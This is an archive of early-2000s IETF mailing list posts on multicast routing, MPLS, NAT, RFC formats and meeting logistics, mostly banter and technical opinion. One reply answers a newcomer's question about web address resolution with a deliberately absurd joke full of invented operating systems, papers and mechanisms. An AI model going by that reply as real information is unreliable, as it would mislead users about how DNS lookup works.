Re: comments on Friday scheduling, etc.
some people don't live in the US but do have families 50% of us are flying out saturday to be there for sunday all day meetings, flying eastwards on friday, to get back mid day saturday, we lose 2 weekends. compare this to intra-US flite to and from, i don';t think esxtending friday is sustainable. we don't have that much more work, we need better scheduling is all in fact, there;s lots of evidence that work is done BETTER when time available for it is reduced..esp. when particpants re jetlagged. tired working groups make tired decisions. like driving, this can be dangerous... j.
Re: WebAddress resolutions
In message [EMAIL PROTECTED], USELESS SSELES U typed: Am wondering how and where the webaddress mappings taking place? Meaning if I type www.xyz.com in a browser and (say) this xyz.com is running on 212.34.54.89, then does my Internet Service Provider lookup every place right from 0.0.0.0 to 255.255.255.255? And finally is that how my ISP gets a match and says voila I got it and fetches the HTML page on xyz.com? that depends what OS they are running - if its portholes 7.3, then yes, but if its leanix 11.0, esp. the one running microlite underware release 2 or grater, then there's a hash function from every www to every ip addr which was reported in acm sitcomm 77 (not online) although there's a claim that it was in fact discivered in station exx by albert turning and colleagues in 1943, but under the british 50 year rule, has not been published yet (the british secret service count years differently to, but i can't tell you their algorithm as that is secret to). one reason why www sites are so low to look up is that the portholes operating system actually also looks up aaa.xyz.com bbb.xyuz.com ... in case you might want to look at those too soon in fact, its pretty clever - if you have the internationalized version it also looks them up in 143 different alphabets, and also caches the kanji and other iconic maps for you client side the key advantage of portholes is that once you have accessed one web site, yopu need never look at any others, and you certainyl dont need any of those pesky hard to use search engines. the main down side is that you also need a peta-store - there's some you're not allowed into countries that are cyberabies virus free with a peta-bite - there's good evndicen that most people with a petabite have the virus somewhere on disk and its only a matter of time before everyone else gets it the other neat thing is that after one access, you can hang up your ISP account for ever the neat thing about the leanix hash function is that it operates the other way around, so that you dont need more than 1 pixel display, 1 byte of memory and 1 cps processor - in fact you dont need any users either, which can be a bonus if you are a sysadmin [ref LISA 1999 paper on users are the enemy] hash functions are very useful for many things - for example you can invite your friends around to an before work hash function - it makes a nice change to an after work barbeque jon
Re: MPLS,IETF, etc..
a node might be simpler but the system composed of a graph of suvch nodes more complex - you (as switch or router vendors) might get to make your h/w or s/w simpler at the level of forwarding, bu the overal syusytem that manages routes and traffic might be less simple and (therefore) more failure prone van jacobson's keynote at SIGCOMM 2001 (last week in san diego) made this point very clearly. local optimsiations often aren;t, globally. In message [EMAIL PROTECTED] com, Natale, Robert C (Bob) typed: From: Bob Braden [mailto:[EMAIL PROTECTED]] Sent: Saturday, September 01, 2001 1:29 PM Hi Bob, Simplicity, in this case, seems to be in the eye of the beholder. There is certainly some universal truth in that statement. I don't get why label swapping is any simpler than hop/hop forwarding. It's simpler, IMHO, because it accomplishes more and does so in a way that is globally beneficial. That is, MPLS (in its fundamental goals) goes a long way toward integrating L3 and L2 in a way that leverages the strengths and discounts the weaknesses of the two paradigms: L3/routing/packet/connectionless L2/switching/circuit/connection-oriented The concept of scaling hop/hop forwarding via more capable hardware has its benefits (mostly of the short-term economic variety...which can be quite powerful, I agree), but is in the long run (I believe) inferior (in terms of scalability and synthesis, at least) to a more fundamental architecture/software solution. Thanks, BobN cheers jon
type/length/value based e-mail list filters
once upon a time, in a far off corner of a small field in north london, a small CS department developed a cute x.400 mail system, that incorporated relaying between most extant e-mail protocol channels (smtp, uucp, grey book etc) and accomodated translation of multimedia content including other mm formats than mime - its possible to configure a system like this to fan out e-mail traffic onto a set of sub-typed or super=typed sub-lists, applying a set of configurable filters (actually applying the transitive closufre of a set of filters) to the content en route it ought to be easy to re-configure a majordomo like tool to then allow subscription to typed lists. this would allow us folks that dont care about word viruses, but also dont care FOR receiving megabytes of word garbage either, to receive only the text part of a message. this seems more democratic (in the hand of the receiver) but more scalable (does filtering nearer source) than proposals to date that have been made such as enforced filtering of all types of content, or whathaveyou the idea would be to use fitler languages as part of the subscription process.it could include length limits and other things if one liked to allow people on the move with merely a PDA to be safe, secure and performant too...it could even be role based if one wanted to be trendyand it could make the world a les globally manged, but cybernautically more ecoliogically diverse, and therefore richer, place yrs three gentleman from genoa p.s. for those of you with filters configured to send virus reports as recipient alerts to the LIST, be aware that if you are that stupid, you are probably being socially engineered to get around all your over-zealous defenses anyhow, so you are wasting not just our time,but your own too.
alt.ietf for london
see http://www-mice.cs.ucl.ac.uk/ietf/ for our alternative guide to london for ietfers now has added links on the Proms and on telephone wiring cheers jon
don't panic.
london ietf metadata
i was promted yesterday by a couple of (brit) WG chairs to send this: remember -there's some info about london at: URL:http://www-mice.cs.ucl.ac.uk/ietf/ as suggested by ietfers - more suggestions always welcome too note london in august is v popular with tourists as there are so few cows here so book soonest to avoid disappointment cheers jon
Re: Don't fix it!
What. Does that imply the preference of redesign to revision in IETF ? No. If it ain't broke, don't fix it is a colloquial saying meaning Do not embark on repairs of things that do not need repair. It means Don't repair a non-broken window. Don't repair a working lamp. Don't fix software that's already working correctly. it is also understood to refer to systems so complex that often even their creators dont understand how they work, so that people are afraid to alter them while they appear to be working, in case they stop doing so. the internet is just such a system, although i would say that e=mail is one of the parts probably best udnerstood (not by me, but i have met people who seem to get it:-) cheers jon
Re: Carrier Class Gateway
In message [EMAIL PROTECTED], Steven M. Be llovin typed: In message [EMAIL PROTECTED], Bill Manning writes: semantically confused. why would sailors be on the bridge? (the one over the canal) Right -- they should be using routers, not bridges. but there's only 7 seas - 802.1d scales fine to that size AS also, we've got enough jitter what with 6 hours mean delay but 6 hours variance - do you really want to add BGP convergence time problems too? and what of multihoming - its only a matter of time begfore someone on some continent wants a canal to two other oceans... cheers jon
Re: N:N multicast with extra address space?
there's a discussion on how to make some simple classes of assymetric multisender apps work with SSM, but there's not really anything useful for genuine multi-peer applications - what is needed is to revitalise the work on bidir pim, and then retrofit the SSM addressing (.e. what we proposed in rama/sm work) and maybe now is the right time to do that since the SSM stuff is seeing deployment, so we wont be distracting people from their main agenda anymore. In message [EMAIL PROTECTED], Hugh Fisher typed: I'm building applications for collaborative 3D graphics using SRM (actually LRMP) multicast on the local Ethernet. They're peer to peer systems, not in the new buzzword of the day sense, but in all being equal participants rather than a client/server design. My systems have multiple senders, but a per-group routing tree rather than per-source is fine. In the future I'll want (like many VR/distributed sim folk) to be able to allocate from a large range of multicast addresses, say 12 bits or more. Waiting for IP6 isn't an option. The "Interconnections" 2nd ed book describes a shared tree multicast with 8 byte group IDs that would fit my needs very nicely. Can anyone point me to a working group/mailing list where I can find out more about this? -- Hugh Fisher ANU/CSIRO VE Lab cheers jon
Re: IPv9 ??
for those of you in the US april fools day dates from the introduction of the gregorian calendar in the 16th century, and invovled moving the start of the year from apr 1 to jan 1 in france, a posson d'avril is a rather nice phrase for a person who is subject of one of these (supposed harmless) pranks - obviously they hadn't heard of the IRS:-) of course, IPv5 is alive In message [EMAIL PROTECTED], Gl en Morehead typed: For those of you outside the U.S. (and, I suppose, parts of Europe), April 1 is known as April Fool's Day. People play practical jokes on each other; some of them are rather elaborate and created just for April Fool's. If you scan back through the RFC index, there are well over a dozen RFCs published on April 1 through the years that are bogus - some of them pretty sophisticated, and most of them fun (the transmission of IP packets over avian carriers, updated with QOS, is one of my favorites.) When you have an hour or so, take a look at these creative and fun "Informational" or "Experimental" RFCs. Regards, Glen -Original Message- From: Jiwoong Lee [mailto:[EMAIL PROTECTED]] Sent: Tuesday, 17 April 2001 21:35 To: [EMAIL PROTECTED] Subject: Re: IPv9 ?? What fun! I've heard a lot about IPv5, but it's first time to see IPv9! It seems that IPv6-IPv9 appeared as solutions to IPv4 address shortcoming, as indicated IAB Routing and Addressing Task Force. Am I right ? One quick question: Why IPv1-IPv3 left untouched ? Jiwoong - Original Message - From: "Srihari Raghavan" [EMAIL PROTECTED] To: "Wang Hui" [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Tuesday, April 17, 2001 8:16 PM Subject: RE: IPv9 ?? See RFCs 1606 and 1607. They are dated 1 April. Hopefully that should give some idea :) /Srihari -Original Message- From: Wang Hui [mailto:[EMAIL PROTECTED]] Sent: Tuesday, April 17, 2001 4:51 AM To: [EMAIL PROTECTED] Subject: IPv9 ?? I happen to find out a new Internet Protocol called IPv9 in a search engine. I dont know what is IPv9? What's the relationship between IPv9 and IPv6 or else? Could anyone give me some URLs to follow. Thanks in advance. -Wang Hui cheers jon
london IETF information
IETFers visiting london may wish to check out a few differences
between the way europeans (and the UK is part of "yurp") say things in
english, as this is the dominant language of the IETF meeting, but of
course, american english is not the dominant dialect in blighty.
so first off, when discussing the Internet Protocol ("IP"), in common
south eastern pronunciation, be sure to say
"oy pay" (try it now with a friend - if yo uahve a copy of any brit
movies or tv shows on video, see if you can match this to, say, the
way that benny hill, or john cleese, or say hugh grant.
It is especially important to say this correctly when in a pub.
Next, of course, we do get visitors from the other side of the
channel (unless they are cut off by fog). These people are charming,
and do their utmost to speak english, with yet more variations being
bought in - thus, when discussing the next generation, be sure to say
"ee peh veh seess", when talking with a french person.
And when discoursing freely about the woes of BGP with an Italian,
make sure that youi pronounce all 3 "rs's" in "rrrouting".
now, don't get confused about the topic when a german suddenly appears
to be diverging onto tree beings in tolkein - the "ent to ent"
principle is alive and well there too.
of course, most europeans are aware that "rowting" is part of
carpentry #101 (or what happened to napolean's army in russia), and
for once this usage will put US citizens in a minority.
note that TCP is a trade mark in england (actually its a medicinal
product), but luckily, unlike a certain company, they are not likely
to send cease and disist letters when you talk about it (perhaps we
should see if a legal firm has a prior trademark on "rake off").
if you are working on GRE, L2TP or PPTP, note that in london these are
"tube" mechanisms.
if you work on service differentiation, be aware of class, and note
that a police functions is normally referred to as balls.
with these few rules you should get by in london famously
see you in august
jon
url:http://www-mice.cs.ucl.ac.uk/ietf/
Re: connecting RFC April Fool dots
This should be fertile ground for topics for PhD students. We still have PhD students, yes? yes, but no faculty to advise them - see below of course, if we fixed the multicast and the mbone (or used akamai/inktomi/idigital island, foobarbaz.com) we'd be able to leverage the internet to advise 75 phds simulataneously but first we have to fix the bandwidth and multicast and may be that is the phd that is really needed We're entering a recession, right? Ostermann was wrong, right? http://www.acm.org/sigcomm/sigcomm98/Ostermann/slide2.html he was right... but the axes need some adjustment We _do_ need standards in this area. "i have my standards - of course, for a big enough fee, i will happily change them" to paraphrase groucho... j. -- Forwarded message -- Date: Fri, 30 Mar 2001 17:14:02 -0500 From: David Farber [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: IP: COLLEGES FACE A SHORTAGE OF FACULTY MEMBERS IN COMPUTER SCIENCE: Edupage, March 28, 2001 The number of computer-science doctoral graduates continues to fall, according to a new report from the Computer Research Association. About 880 computer-science doctoral degrees were awarded last year, a decline from the previous year's total of about 950. In 1992, over 1,100 computer-science doctoral degrees were given. The main reason for the decline, said Penn State University computer-science professor and report co-author Mary Jane Irwin, is the number of potential doctoral students who instead choose to enter industry because the salaries are so attractive. Irwin has noticed this trend is especially strong among foreign nationals coming to U.S. institutions. She said foreign students "apply to a Ph.D. program, come to the U.S., and find out that there are jobs for them even with just a master's degree. So they change to a master's, complete the program, and then go out and get a job." The Computer Research Association report reveals that the popularity of computer science degrees below the doctoral level continues to rise. Last year saw a 20 percent rise in the number of computer-science bachelor and master's degrees awarded. (Chronicle of Higher Education Online, 27 March 2001)
Re: Kudos to MSP IETF hosts other ramblings
actually, the problem i have with the message was that there is an assumption about an attitude - i mean al i meant was i wanted to get good engineering work done in the normal way all effective work gets done given it wasnt actually a WG it couldnt actualy make any decisions, but it mioght get some design done (albeit it could then be thrown out by a WG which is fine by me...) i think the value of the IETF is its informality - the implied litigious american attitude about "open" = "everyone MUST attend" etc would break the IETF even more than pure size. if people want to head that way then we might as well charge corporate membershipo, ban individuals and go for the full ITU model i dunno... In message [EMAIL PROTECTED], Brian E Carpenter typed: Design teams and editorial teams are part of our process, and they may as well meet in the pub as anywhere. As long as their results are put in front of the WG, I don't see a problem here. Brian Margaret Wasserman wrote: Not to pick on Jon specifically, but how is this common IETF attitude consistent with the IETF's stated commitment to open process? At 06:52 AM 3/23/01 , Jon Crowcroft wrote: also,the wireless access fro mthe pub was inspired! we got really serious bar bof work done without tourists kibbitzing cheers jon
Re: Kudos to MSP IETF hosts other ramblings
well adding another enue to the IETF seems to me to be more open also note the _process_ is to do with WG last call etc - we were'd`nt doing anymore than talking about bugs in i-ds that we wrote (and all authoprs were present) - this is what bar bofs are usually for - i dont see that this is any different fro mauthors conversing over email before releasing a new id to thr world finally: bofs are not Wgs. they dont do nuffink til they get chartered so they are not really in the process. bar bofs arent even bofs. they dont do anythign til the get sobered. In message 4.2.2.20010323090914.01abfd30@localhost, Margaret Wasserman typed: Not to pick on Jon specifically, but how is this common IETF attitude consistent with the IETF's stated commitment to open process? At 06:52 AM 3/23/01 , Jon Crowcroft wrote: also,the wireless access fro mthe pub was inspired! we got really serious bar bof work done without tourists kibbitzing cheers jon
Re: rfc publication suggestions
In message [EMAIL PROTECTED], "Rahmat M. Samik-Ibrahim" typed: No rocket science, but perhaps archaeology. In the early 1980s, a unix box (68ks, vaxen, et.al.) came with a multi-volume manuals, including an nroff guide. In this millennium, not all distros have nroff guides. Who is still using this dino technology anyway? i use it coz once you have a template, all wp packages are the same effort (esp. for standards) - i also have templatex for latex and word to do the same thing and have worked with people who use frame - i dont understand all this nonsense - they are all equally bad at somethings and some better at others - wysiwyg is pretty much a) bad for people with rsi b) none existent in reality anyhow given the whims of rendering and typesetting backend s/w - actually, groff man pages are not what you need - what you need are MACRO manual pages - groff_ms(7) refers you to ms(7) which is propietary as far as i know (otherise i'd post it:-) by the way, "dino" lasted 140M years - 70 times as long as humans so far, and 7M times as long as IPv4.do you have another 20 year old WP source file you can still process apart from groff? (rhetorical question, dont answer that:-) cheers jon
Re: Multicast
again, i don't know if the WHOLE IETF list wants to see this discussion, nor if IDMR (which now looks at a fairly small piece of the multicast picture) wants to be cc:d - the right place for this discussion is probably pim, and possibly ssm, - idmr is about ready to close down the right solution (imho) is a two protocol world 1/ PIM SSM for 1-many apps with IGMPv3 for join/leave 2/ PIM bidir/BGMP (basically equiv. to hierarchical PIM) for many sender with some smart inter-domain RP assignment done as part of the brokering/peering arrangements between providers - this latter needs lots of work i) PIM bidir needs finishing ii) the interdomain part needs implementing (not hard) and detailed specification as ISPs get use to intradomain SSM, they may start to comtemplate some PIM SM, then PIM bidir customers/applications (a while off, but slowly) - then,when they understand traffic engineering internally for these applications, they may start to consider how to do inter-domain peering and traffic engineering on any plausible timeframe for this, routers maybe able to handle the state for the many-sender protocols (certainyl they wont be today or tomorrows routers), so as long as state scales linear or sublinear in #many-sender flows, it is not out of the question (not great, but not out of the question) - hierchical approaches based on bidir trees can do some aggregation to get it better than s,g (if we believe we will have a lot of apps anyhow with genuine inter-domain, globally visible state required. ... it aint obvious - a lot of apps we are thinking about can be global, but stay mainly within a single tier 1 provider, until they say auto-tunnel thru the access provider. some apps can just use small numbers of SSM flows from the server site. lots of alternatives anyhow, as i say, this discussion is already ongoing in the relevant groups (including mboned) and direcrorates...not on idmr and ietf:-) In message [EMAIL PROTECTED], #PA THIK GUPTA# typed: Hi, It is true that there are certain scalability issues with Multicast. However the solution of this is to have a very good InterDomain multicast routing as well as Intra Domain multiast routing protocols. With that the problem of host affecting the entire routing core is greatly reduced. The protocols like CBT and PIM-SM were developed because it was found that protocols like DVMRP and PIM-DM cannot scale. It is also neceesary to note the fact that PIM-SM is only efficient for the sparesely disributed hosts and it is a Receiver initiated protocol. This has significant advantage over flood and prune protocols like DVMRP. If you think of the scenario where there are very less hosts receving the session and why dont we just send data directly, then this solution cannot scale. The whole purpose of multicast is lost. The server will be burdened and each unicast stream will contribute more to a single multicast stream. Cheers, Pathik Gupta -Original Message- From: Gunnar Lindberg [mailto:[EMAIL PROTECTED]] Sent: Thursday, March 08, 2001 4:13 PM To: [EMAIL PROTECTED]; [EMAIL PROTECTED] Subject: Re: Multicast Please explain what's wrong with my take on multicast scalability: Every time a new sender shows up, the entire multicast core (RPs, right now those running MSDP in the default free zone) has to be informed. To "show up", the host just starts sending data. Every time a new receiver shows up, its nearest RP has to initiate a data distribution path (tree) torwards the sender(s). This is likely to involve at least some of the core routers. Scalability problems: 1) An indivivual sender - host, my Linux PC - affects routing information in the entire router core. Just send data. There are a few hosts on the Internet. 2) As if his wasn't enough, consider the potential for DoS- attacks. The recent Ramen worm was the first(?) example; who can claim it was the last? Assume technology evolves fast enough to solve 1). We still have 2). My claim is that it doesn't scale to allow individual hosts to affect the Interet core routing system. What do I miss? Gunnar Lindberg cheers jon ), in memory of lowell george
Re: Some data Re: Again: Number of Firewall/NAT Users
In message [EMAIL PROTECTED], Kyle Lussier typ ed: "is anyone aware of any estimations of fraction of Internet users who are behind firewalls and NATs?" How about for business users? If the assumption can be made that most Q3 players are home based (which would probably have a lower incidence of NATs) ~20% sounds high. Of course that could be because of sevice providers. according to some measurements, most game players are at WORK. + in some parts of the world, most HOME users aere behind NATs But does anyone have a better idea for business users? cheers jon
Re: Multicast
In message [EMAIL PROTECTED], Ali Boudani typed: First the CBT protocol was created to use shared tree solutions because DVMRP and the other dense mode protocols werent scalable. there were many problems with CBT (which is bidirectional) so PIM-SM was cretaed which provide some switching (between shared tree and source tree). and after that there is some discussions about the bidirectional PIM, which is like CBT. Are we in circle here or what ?? not really. the mainstream current multicast action is concentrating on single source (and on single source reliable multicast transport) since we didn't feel we understood all the complications of ANY of the multiple source schemes for IP or reliable(e.g. interdomain routing, and multiple source semantics for reliable) - there were'nt really "problems" with CBT apart from we never managed to get a router vendor to committ to an implmenetation which we could deploy and learn from - tony ballardie got a lot of the details out, but the two implementaions i know of never saw light of day.bidir pim is cool, bgmp is cool, but action in implementation/details/spec is waiting on getting the PIM SSM stuff completely shaken down its all part of a good learning experience and (as any good s/w engineer might say) its the norm:-) cheers jon
Re: Multicast
In message [EMAIL PROTECTED], Ali Boudani typed: Isnt SSM just a particular case of PIM?? the right place for this discussion is SSM [EMAIL PROTECTED], SSM is a subset of PIM SM, roughly, and relies (sort of) on IGMPv3 (at least on a subset of equiv. functionality). It is the specifications for just specific sources but they arent adressing the multicast in general. am I right ? not quite - i dont think the whole IETF list is the right place for this one - see http://www.ietf.org/html.charters/ssm-charter.html i think since the ssm work is close to done, we'll see work resume on bidir (s/cbt/pim-bidir:-) soon , and similalrly in the RMT work see http://www.ietf.org/html.charters/rmt-charter.html a lot of building blocks are close to done (prob. about a year) then we'll see some work on multiple source (the latent demand for multiple source applications is imho underestimated, but until we can fix the more immediate problems with supporting 1-many, we can't really expect people to deploy many-to-many extensively- other problems being addressed are concerned with having good solutions for multicast security (see http://www.ietf.org/html.charters/msec-charter.html and for many-to-many, for congestion control (to meet transport area requirements) i think (but of course i am usually wrong) that we may see progress on this in 2002... Jon Crowcroft wrote: In message [EMAIL PROTECTED], Ali Boudani typed: First the CBT protocol was created to use shared tree solutions because DVMRP and the other dense mode protocols werent scalable. there were many problems with CBT (which is bidirectional) so PIM-SM was cretaed which provide some switching (between shared tree and source tree). and after that there is some discussions about the bidirectional PIM, which is like CBT. Are we in circle here or what ?? not really. the mainstream current multicast action is concentrating on single source (and on single source reliable multicast transport) since we didn't feel we understood all the complications of ANY of the multiple source schemes for IP or reliable(e.g. interdomain routing, and multiple source semantics for reliable) - there were'nt really "problems" with CBT apart from we never managed to get a router vendor to committ to an implmenetation which we could deploy and learn from - tony ballardie got a lot of the details out, but the two implementaions i know of never saw light of day.bidir pim is cool, bgmp is cool, but action in implementation/details/spec is waiting on getting the PIM SSM stuff completely shaken down its all part of a good learning experience and (as any good s/w engineer might say) its the norm:-) cheers jon cheers jon
Re: draft-many-gmpls-architecture-00.txt
In message [EMAIL PROTECTED], "J. Noel Chiappa" typed: From: Bob Braden [EMAIL PROTECTED] I agree with Noel's implication: are the Internet Drafts and RFCs becoming a vanity press? Ah, Noel didn't mean to imply anything - I was just boggled at the size of the list of names. there's 3 reasons i've seen that this happens commonly (please feel free to add more:-) 0/ a bunch of people genuinely did write lots of little bits and then some of them edited it togerther and just wanted to be fair 1/ a bunch of people want to emphasis some thing as really needing doing, so they enlist lots of "co-authors" from the "great and the good" 2/ vanity (or tenure track pressure, something thatcher got rid of in the UK:-) i spose it wastes a few storage and transmssion bytes, but does it do much harm? cheers jon btw, recently, we've been interviewing people for 2 chairs in the department here and i found a couple of interesting things to do about applicants was 1/ look in http://citeseer.nj.nec.com/cs for citations of their work 2/ look in a search engine (google, for example) and run link:http://personshomepage.edu to see how many people link to their home page... you can do this for rfc's and ietf wg's pages too of course:-) (and sadly for i-d's even though they aren't sposed to be cited except as the old work-in-progress (maybe we could allow "personal communication" too? :-) i have no idea of the meaning or validity of this, but it sure removes noise like the number of authors (or number of revisions:-)
Re: HTML better for small PDAs
In message [EMAIL PROTECTED], joaquin.riveraro [EMAIL PROTECTED] typed: Perhaps we ( the IETF ) should have a library of standard, downloadable translation / formatting tools that would help people to write in whatever format they choose, then convert it to the required ASCII. However, this would still not solve the problem os ASCII's poor diagram capability. I am sure that will help, while the discussion on the standard format goes on, the tools will be helpfull to everyone whatever the final decision should be. there is no substitute for good graphics design skills/ability - havign said that, some tools WOULD be nice - i think its irrelevant whether the tools render the output as GIFs or PDF or ascii - the problem some people appear to have is focusing. in practice ,there's 3 or 4 diagram types: 1/ packet headers- here the conventions used in rfc791 onwards are EXCELLENT since they are cpu agnostic- since they are also labelled they are no more national language specific than a program is:-) (e.g. C structure or Java ) 2/ state machines - these are not too bad - yo ucan use the same approach as is used in old 60s/70s flow charting/call graphing in general, quite clearlythe most complex state machine (e.g. new PIM SM spec, or TCP) are not too hard 3/ packet exchange examples (e.g. time sequence diagrams) - i think these are trivial (except occasionally in multicast:-) a tool for these would be pretty simple to build... (something could back end off of emacs, powerpoint animations, ns animations and magicpoint etc) 4/ topology based expostion (i.e. routing protocols) - these are generally very hard - ascii makes you think a LOT, as i said before about keeping the examples simple any other? so how about a project to develope some tools for the last trickier case above? (btw, i dont see how XML helps one bit - PDF or PS are the only options for platform independnt rendering, and even then there are problems with portability and fidelity) - and specifying the actual editing/wordprocessing toolset is not on! cheers jon p.s. how mayny people really read a protocol spec on a PDA? i mean the time i do it is when coding, and when coding i want the spec in a window, the code in a window, gdb in another window, tcpdump in 2 more - seriously.
Re: Why XML is perferable
In message [EMAIL PROTECTED], Stephen McHenry typed On a more serious note, having done a lot of instruction over the years, it shouldn't be about ego (I paid my "understanding dues" - everyone else should too!!), it should be about communication... i.e., how quickly can we effectively communicate complex concepts... excellent point one of the bigest contributions to the internet standards process was Rich Stevens (RIP) TCP/IP _Illustrated_ series - these clarify, disambiguate and communicate many many areas of standards - i agree wit hbob that protocol creators may not need the visualisation and graphic detail in the early stages, but as you say, there are lots of people implementing who need rapid ways of absorbing the ideas - however, that doesn't mean this has to be in the i-d and RFC stages - it can be in a myriad of other places such as books and trade press journals where articles abound giving the further interpretation - and do say in many languages too cheers j.
Re: Why XML is perferable
In message [EMAIL PROTECTED], gra [EMAIL PROTECTED] typed: Let's consider a few basic principles. ok - lots of good points below - a few responses... 1. Neither ASCII nor XML are ever displayed. They are CODES for representing characters in a computer. It is the CHARACTERS ( glyphs ) that are displayed ( presented / rendered ). There is a mapping between the codes and the glyphs. but the glyphs are in HARDWARE in many devices(e.g. printed on keycaps, in printer wheels, in crt display chips etc)... 2. ASCII has a strictly limited set of characters and glyphs ( even the "international" version ), which can not represent many languages in the world, and does a poor job of rendering diagrams, pictures, etc. yes, this point has been made a lot - however, the discipline of getting a diagram into ascii art has OFTEN caused people in the ietf to udnerstand the problem better (e.g. by choosing the most parsimonious topology to explain a partiocular routing problem) 3. As some people have emphasised, the importance of ASCII lies in the ( American Standard Code for Information ) INTERCHANGE. Interchange implies the ability to transfer in a manner which can be understood by both parties to the transfer. The MOST COMMON global method of transferring will be the most effective. yes, yes, and yes..but also, collating, indexing, and searching - manmy of the search engines are optimised to the roman alhpabet, the english dictionary, and the english freqeuncy distribution of words 4. Interchange does not guarantee understanding - either of presentation format or content. I wouldn't like to have to deal with Einstein's Theory of Relativity ( content ), especially in Chinese ( format ). ASCII does not interchange Chinese characters, so it's presentation format is NOT readily understandable by "most people". 5. A more comprehensive coding scheme, such as the Universal Character Set ( ISO 10646 ) would allow many more characters and glyphs to be used. 6. The key to usage of encoding schemes is how widely they can be interpreted by character presentation ( or rendering ) applications ( word processors, etc. ), in mapping the internal codes to the glyphs rendered on the screen or on paper. Applications which can render more characters would allow the use of larger code ranges and more characters. Until something replaces ASCII as the most commonly available global interchange format ( and could it be HTML / XML ? ), it will remain the default. That doesn't mean that we should just accept it for evermore. If that principle were followed, we would still be drawing on cave walls and large red rock formations ( Ayres in Australia ! ), which are not very transportable ! One of the things that the IETF could, and in my opinion SHOULD, do it to make its documents available in several presentation formats, not to say languages. Yes, we would still need a master copy and format, which could be ASCII, but other, more presentable formats, would make life easier for many people. The ITU-T ( I'm sorry to mention it, but they have been doing this for decades ) publishes its documents in three languages. If the IETF is really working for the world, it should take a more global view and consider a similar sort of policy. Don't we have a work stream on internationalisation ? Of course, this sort of effort costs money - lots of it. That's why the ITU-T charges for documents. If you want it free, you take the IETF approach and get the inexpensive, ASCII, American language version. thats why the ITU claims it charges. i think you overstate the contrast. btw, as someone who has written documents in english english for 20 years using ascii codes, i dont see your point about American _language_ - coding for alhpabet doesnt necessarily code for language (ever used greeklish?:-) anyhow, the point about cost is good - basically, do people want to think about a funding model for multi-lingual internet standards...? worth a brief discussion (there are alternates to the ITU charging model, clearly) j.
Re: was Why we shouldn' use ASCII text (now censorship)
In message [EMAIL PROTECTED], Jon Crowcroft typed: on another topic, we noticed that we cannot see certain sites that provide some interesgint IP anonymizing services -we ran a traceroute -p xyzd to them and discovered that some hi-level ISPs are running some port filtering - interesting - should one peer with such folks given its hard to route around them as an end user? putting out the fire with gasoline... my mistake - it was the egress from a site to an ISP that was admin blocking the port - not an ISP - big error reading output from traceroute -p on my part -sorry: isps, not guilty; crowcroft, guilty. sincerely jon
Re: Why we shouldn' use ASCII text
In message [EMAIL PROTECTED], Taylor Salman typed: ASCII text shouldn't be accepted because:br Pen and paper is by far the most portable format on the planet and beyond. i disagree - i) the americans spent a lot of money on spaceworthy pens, but the russians showed that PENCILS are fine ii) paper burns at farenheit 451 (ref: burroughs, '63, truffaut '68], this many IETF meetings generate enough heat to ignite any draft being discussed if presented in this format so we need to use pencil and (unprocessed) wood j.
Re: Why we shouldn' use ASCII text
In message [EMAIL PROTECTED], Harald Alvestrand typ ed: no no no - like ascii, pencil and surface is re-usable, both for revised drafts, and for keeping warm if the minneapolis weather should change too quickly stone is ok, but only for full standards and bcp At 15:23 22/02/2001 +, Jon Crowcroft wrote: i) the americans spent a lot of money on spaceworthy pens, but the russians showed that PENCILS are fine ii) paper burns at farenheit 451 (ref: burroughs, '63, truffaut '68], this many IETF meetings generate enough heat to ignite any draft being discussed if presented in this format so we need to use pencil and (unprocessed) wood have away with all these incendiary materials! bring a stone tablet and a chisel! -- Harald Tveit Alvestrand, [EMAIL PROTECTED] +47 41 44 29 94 Personal email: [EMAIL PROTECTED] cheers jon
Re: was Why we shouldn' use ASCII text (now censorship)
In message [EMAIL PROTECTED], Jon Crowcroft typed: ii) paper burns at farenheit 451 (ref: burroughs, '63, truffaut '68], people pointed out (correctly) that the right reference here is bradbury (ray, of light, not malcolm, of history) and not burroughs (not Edgar (of detective story prize) Rice (paper) Burroughs, nor William (soft machine, near hourston?) Burroughs, nor even the Burroughs (yes, related) of computing famemea culpa of course it was truffaut (francois, claire's knee etc) who made the excellent movie on another topic, we noticed that we cannot see certain sites that provide some interesgint IP anonymizing services -we ran a traceroute -p xyzd to them and discovered that some hi-level ISPs are running some port filtering - interesting - should one peer with such folks given its hard to route around them as an end user? cheers jon putting out the fire with gasoline...
Re: what is NAT Good For ...
of course if NAT is so cool, why not make _every_ hop do NAT (Naughty Awful Terrible stuff) instead of MPLS (My Protocol's a Lot Slower) as a way of aggregate traffic engineering without recourse to level 2 (which we all know is making a lot less money than level 3 right now) i mean they are both label swapping schemes right, so if mpls is so cool, but NAT is the IP-holic approach, it ought to be fine, eh? cheers jon
Re: An alternative to TCP (part 1)
In message [EMAIL PROTECTED], Keith Moore typed: I don't agree that abundant IPv6 addresses remove the need for something akin to a port number. They might remove the need for transport-level multiplexing, but only if any host could allocate a sufficiently large subnet, and it's not clear that this will be the case. However port numbers are also used to form names of connection endpoints, and we have some need for well-known endpoint names to reach standard services. this is debateable - if we used GSE/8+8, then the route glop could get you somewhere and the site glop to a machine ,and chaning EID is not such a crazy idea at all - there have been protocol stacks like this and there are certain privacy and other security advtangaes (it was used in a secure ATM proposal i seem to recall fro mcambridge university computer lab about 7 years ago...) cheers jon
Re: NAT isn't a firewall Re: harbinger, Re: [midcom] WG scope/deliverables
In message [EMAIL PROTECTED], Scott Brim type d: Although address obfuscation through combining NAT with your firewall can provide a small amount of additional security. against which attacks ? it doesnt provide better privacy, or non repudation, or access control, or any normal service that one would regard as an enhancement of security - in fact, having one address shared by multiple host s means there are less things an attacker needs to remember :-) cheers jon
Re: [midcom] WG scope/deliverables
In message [EMAIL PROTECTED], "J. Noel Chiappa" typed: Keith, why don't you start an NAT-Haters mailing list, and take all this disgust with NAT's there? (I'm quite serious about this.) You seem to be having problems accepting that fact that NAT's are selling several orders of magnitudes (I'd guess at least 3, but it's probably more) more units than your preferred alternative. Most people would regard this as a sign that the world has decided, and move on. many nats cost nothin - many are check boxes on existing products - alternatives cost money - some day tho, they may be required like IP was when we started with x.25:-) When life gives you lemons, you have to make lemonade. NAT's are a fact of life, and we will, indeed, have to find some way of incorporating them into the mainstream architecture of the Internet. This is a subject on which I have pondered a lot, for several years - maybe you should wrestle with it too. when life gives you lemons, pick grapes instead and make wine or bottle spring water and sell that (with or without added CO2) its better for your teeth. cheers jon
Re: solution to NAT and multihoming
